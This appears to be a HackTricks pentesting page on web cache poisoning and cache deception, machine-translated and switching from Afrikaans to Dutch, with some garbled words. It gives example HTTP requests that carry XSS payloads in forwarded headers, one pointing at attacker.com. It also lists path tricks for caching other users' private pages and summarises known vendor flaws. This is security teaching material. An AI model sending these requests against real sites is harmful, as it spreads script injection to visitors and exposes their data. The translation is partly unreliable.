19 KiB
Cache Vergiftiging en Cache Misleiding
Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Gebruik Trickest om maklik te bou en werkstrome outomaties te dryf met die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Die Verskil
Wat is die verskil tussen web-kasvergiftiging en web-kas-misleiding?
- In web-kasvergiftiging, veroorsaak die aanvaller dat die aansoek 'n paar skadelike inhoud in die kas stoor, en hierdie inhoud word van die kas na ander aansoekgebruikers bedien.
- In web-kas-misleiding, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die kas stoor, en die aanvaller haal dan hierdie inhoud uit die kas.
Kas Vergiftiging
Kasvergiftiging is daarop gemik om die kliëntkantkas te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers bedien word wat die bladsy tydens die tydperk van kasbesoedeling besoek.
Die uitvoering van 'n kasvergiftigingsaanval behels verskeie stappe:
- Identifikasie van Ongekenmerkte Insette: Hierdie is parameters wat, alhoewel nie nodig vir 'n versoek om in die kas gestoor te word nie, die reaksie wat deur die bediener teruggegee word, kan verander. Die identifisering van hierdie insette is noodsaaklik omdat hulle uitgebuit kan word om die kas te manipuleer.
- Uitbuiting van die Ongekenmerkte Insette: Nadat die ongekenmerkte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se reaksie op 'n manier te verander wat die aanvaller bevoordeel.
- Verseker dat die Vergiftigde Reaksie in die Kas Gestoor Word: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die kas gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy toegang terwyl die kas vergiftig is, die besoedelde reaksie ontvang.
Ontdekking: Kontroleer HTTP-koppe
Gewoonlik, wanneer 'n reaksie in die kas gestoor is, sal daar 'n kop aandui dat dit so is, jy kan nagaan op watter koppe jy moet let in hierdie pos: HTTP Kas-koppe.
Ontdekking: Kas 400-kode
As jy dink dat die reaksie in 'n kas gestoor word, kan jy probeer om versoeke met 'n slegte kop te stuur, wat met 'n statuskode 400 beantwoord behoort te word. Probeer dan om die versoek normaalweg te benader en as die reaksie 'n 400-statuskode is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).
'n Sleg gekonfigureerde kop kan net \:
as 'n kop wees.
Merk op dat hierdie soort statuskodes soms nie in die kas gestoor word nie, sodat hierdie toets nutteloos sal wees.
Ontdekking: Identifiseer en evalueer ongekenmerkte insette
Jy kan Param Miner gebruik om parameters en koppe te brute force wat die reaksie van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop X-Forwarded-For
gebruik om aan te dui dat die kliënt die skrips van daar moet laai:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Ontlok 'n skadelike reaksie van die agterste bediener
Met die geïdentifiseerde parameter/kop, ondersoek hoe dit gesaniteer word en waar dit weerspieël word of die reaksie van die kop affekteer. Kan jy dit enigsins misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? Voer 'n DoS uit?...)
Kry die gekaşte reaksie
Sodra jy die bladsy geïdentifiseer het wat misbruik kan word, watter parameter/kop om te gebruik en hoe om dit te misbruik, moet jy die bladsy gekaşte kry. Afhangend van die hulpbron wat jy in die kas probeer kry, kan dit 'n rukkie neem, jy moet dalk vir verskeie sekondes probeer.
Die kop X-Cache
in die reaksie kan baie nuttig wees omdat dit die waarde miss
kan hê wanneer die versoek nie gekaşte is nie en die waarde hit
wanneer dit gekaşte is.
Die kop Cache-Control
is ook interessant om te weet of 'n hulpbron gekaşte word en wanneer die volgende keer sal die hulpbron weer gekaşte word: Cache-Control: public, max-age=1800
Nog 'n interessante kop is Vary
. Hierdie kop word dikwels gebruik om addisionele koppe aan te dui wat as deel van die kas sleutel behandel word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die User-Agent
van die slagoffer ken wat hy teiken, kan hy die kas vergiftig vir die gebruikers wat daardie spesifieke User-Agent
gebruik.
Nog 'n kop wat verband hou met die kas is Age
. Dit definieer die tyd in sekondes wat die voorwerp in die proksikas was.
Wees versigtig met die koppe wat jy gebruik wanneer jy 'n versoek kashou, omdat sommige van hulle onverwags as gesleutel kan word gebruik en die slagoffer sal daardie selfde kop moet gebruik. Toets altyd 'n Kaskasvergiftiging met verskillende webblaaier om te sien of dit werk.
Uitbuitingsvoorbeelde
Maklikste voorbeeld
'n Kop soos X-Forwarded-For
word ongesaniteer in die reaksie weerspieël.
Jy kan 'n basiese XSS-lading stuur en die kas vergiftig sodat almal wat die bladsy besoek, XSS sal wees:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Noot dat dit 'n versoek na /en?region=uk
sal vergiftig en nie na /en
nie
Gebruik van web-kasvergiftiging om koekiehanteringskwesbaarhede te benut
Koekies kan ook weerspieël word in die respons van 'n bladsy. As jy dit kan misbruik om byvoorbeeld 'n XSS te veroorsaak, kan jy XSS in verskeie kliënte wat die bose kasrespons laai, benut.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Cachevergiftiging met padtraversal om API-sleutel te steel
Hierdie uiteensetting verduidelik hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
omdat enigiets wat ooreenstem met /share/*
sal gelaai word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
Gebruik van meervoudige koppe om webkaggevergiftigingskwesbaarhede te misbruik
Soms sal jy veral meerdere ongesleutelde insette moet misbruik om 'n kagge te kan misbruik. Byvoorbeeld, jy mag 'n Oop herlei vind as jy X-Forwarded-Host
instel op 'n domein wat deur jou beheer word en X-Forwarded-Scheme
op http
. As die bediener al die HTTP-versoeke na HTTPS deurstuur en die kop X-Forwarded-Scheme
gebruik as die domeinnaam vir die herlei. Jy kan beheer waarheen die bladsy deur die herleiing gewys word.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Uitbuiting met beperkte Vary
-kop
As jy gevind het dat die X-Host
-kop as domeinnaam gebruik word om 'n JS-hulpbron te laai maar die Vary
-kop in die respons aandui User-Agent
. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfiltreer en die cache te vergiftig deur daardie gebruikersagent te gebruik:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Uitbuiting van HTTP-cachevergiftiging door misbruik te maken van HTTP-verzoeksmisbruik
Leer hier hoe om Cache-vergiftigingsaanvallen uit te voeren door misbruik te maken van HTTP-verzoeksmisbruik.
Geautomatiseerde testen voor Web Cache-vergiftiging
De Web Cache Vulnerability Scanner kan worden gebruikt om automatisch te testen op webcache-vergiftiging. Het ondersteunt veel verschillende technieken en is zeer aanpasbaar.
Voorbeeldgebruik: wcvs -u example.com
Gebruik Trickest om eenvoudig workflows te bouwen en te automatiseren met behulp van 's werelds meest geavanceerde communitytools.
Krijg vandaag toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Kwetsbare Voorbeelden
Apache Traffic Server (CVE-2021-27577)
ATS stuurde het fragment binnen de URL door zonder het te verwijderen en genereerde de cache-sleutel alleen met behulp van de host, het pad en de query (waarbij het fragment werd genegeerd). Dus het verzoek /#/../?r=javascript:alert(1)
werd naar de backend gestuurd als /#/../?r=javascript:alert(1)
en de cache-sleutel bevatte de payload niet, alleen de host, het pad en de query.
GitHub CP-DoS
Het verzenden van een verkeerde waarde in de content-type header activeerde een 405 gecachte reactie. De cache-sleutel bevatte de cookie, dus het was alleen mogelijk om aan te vallen op niet-geauthenticeerde gebruikers.
GitLab + GCP CP-DoS
GitLab gebruikt GCP-buckets om statische inhoud op te slaan. GCP Buckets ondersteunen de header x-http-method-override
. Het was dus mogelijk om de header x-http-method-override: HEAD
te verzenden en de cache te vergiftigen om een lege reactiebody terug te geven. Het kon ook de methode PURGE
ondersteunen.
Rack Middleware (Ruby on Rails)
In Ruby on Rails-toepassingen wordt vaak gebruikgemaakt van Rack-middleware. Het doel van de Rack-code is om de waarde van de x-forwarded-scheme
header te nemen en deze in te stellen als het schema van het verzoek. Wanneer de header x-forwarded-scheme: http
wordt verzonden, vindt er een 301-omleiding naar dezelfde locatie plaats, wat mogelijk kan leiden tot een Denial of Service (DoS) voor die bron. Bovendien kan de toepassing de X-forwarded-host
header erkennen en gebruikers doorverwijzen naar de gespecificeerde host. Deze gedragingen kunnen leiden tot het laden van JavaScript-bestanden vanaf de server van een aanvaller, wat een beveiligingsrisico met zich meebrengt.
403 en Opslagbuckets
Cloudflare heeft eerder 403-reacties gecachet. Een poging om toegang te krijgen tot S3- of Azure Storage Blobs met onjuiste Autorisatieheaders zou resulteren in een 403-reactie die werd gecachet. Hoewel Cloudflare is gestopt met het cachen van 403-reacties, kan dit gedrag nog steeds aanwezig zijn in andere proxy-services.
Injecteren van Gekoppelde Parameters
Caches bevatten vaak specifieke GET-parameters in de cache-sleutel. Bijvoorbeeld, Fastly's Varnish cachte de size
parameter in verzoeken. Als echter ook een URL-gecodeerde versie van de parameter (bijv. siz%65
) met een onjuiste waarde werd verzonden, zou de cache-sleutel worden geconstrueerd met de juiste size
parameter. Toch zou de backend de waarde verwerken in de URL-gecodeerde parameter. Het URL-coderen van de tweede size
parameter leidde tot de weglating ervan door de cache maar het gebruik ervan door de backend. Het toewijzen van een waarde van 0 aan deze parameter resulteerde in een cachebare 400 Bad Request-fout.
User Agent-regels
Sommige ontwikkelaars blokkeren verzoeken met user-agents die overeenkomen met die van veelgebruikte tools zoals FFUF of Nuclei om de serverbelasting te beheren. Ironisch genoeg kan deze aanpak kwetsbaarheden introduceren zoals cache-vergiftiging en DoS.
Illegale Header Velden
De RFC7230 specificeert de acceptabele tekens in koptekstnamen. Kopteksten met tekens buiten het gespecificeerde tchar bereik zouden idealiter een 400 Bad Request-reactie moeten activeren. In de praktijk houden servers zich echter niet altijd aan deze standaard. Een opmerkelijk voorbeeld is Akamai, dat kopteksten met ongeldige tekens doorstuurt en elke 400-fout cacht, zolang de cache-control
header niet aanwezig is. Er werd een uitbuitbaar patroon geïdentificeerd waarbij het verzenden van een koptekst met een illegaal teken, zoals \
, zou resulteren in een cachebare 400 Bad Request-fout.
Het vinden van nieuwe headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Bedrog
Het doel van Cache Bedrog is om clients bronnen te laten laden die zullen worden opgeslagen door de cache met hun gevoelige informatie.
Allereerst moet worden opgemerkt dat extensies zoals .css
, .js
, .png
etc meestal zijn geconfigureerd om te worden opgeslagen in de cache. Daarom, als je toegang krijgt tot www.example.com/profile.php/nonexistent.js
, zal de cache waarschijnlijk de reactie opslaan omdat het de .js
extensie ziet. Maar, als de applicatie aan het herhalen is met de gevoelige gebruikersinhoud die is opgeslagen in www.example.com/profile.php, kun je die inhoud van andere gebruikers stelen.
Andere dingen om te testen:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Gebruik minder bekende extensies zoals
.avif
Een ander zeer duidelijk voorbeeld is te vinden in deze write-up: https://hackerone.com/reports/593712.
In het voorbeeld wordt uitgelegd dat als je een niet-bestaande pagina laadt zoals http://www.example.com/home.php/non-existent.css, de inhoud van http://www.example.com/home.php (met de gevoelige informatie van de gebruiker) zal worden geretourneerd en de cache-server zal het resultaat opslaan.
Vervolgens kan de aanvaller toegang krijgen tot http://www.example.com/home.php/non-existent.css in hun eigen browser en de vertrouwelijke informatie van de gebruikers die eerder toegang hebben gekregen, observeren.
Merk op dat de cache-proxy moet worden geconfigureerd om bestanden te cachen op basis van de extensie van het bestand (.css) en niet op basis van het content-type. In het voorbeeld zal http://www.example.com/home.php/non-existent.css een text/html
content-type hebben in plaats van een text/css
mime type (wat wordt verwacht voor een .css bestand).
Leer hier hoe om Cache Bedrog aanvallen uit te voeren door misbruik te maken van HTTP-verzoeksmisbruik.
Automatische Tools
- toxicache: Golang-scanner om webcache-vergiftigingskwetsbaarheden te vinden in een lijst met URL's en meerdere injectietechnieken te testen.
Referenties
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
Gebruik Trickest om eenvoudig workflows te bouwen en te automatiseren met behulp van 's werelds meest geavanceerde communitytools.
Krijg vandaag toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hack-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.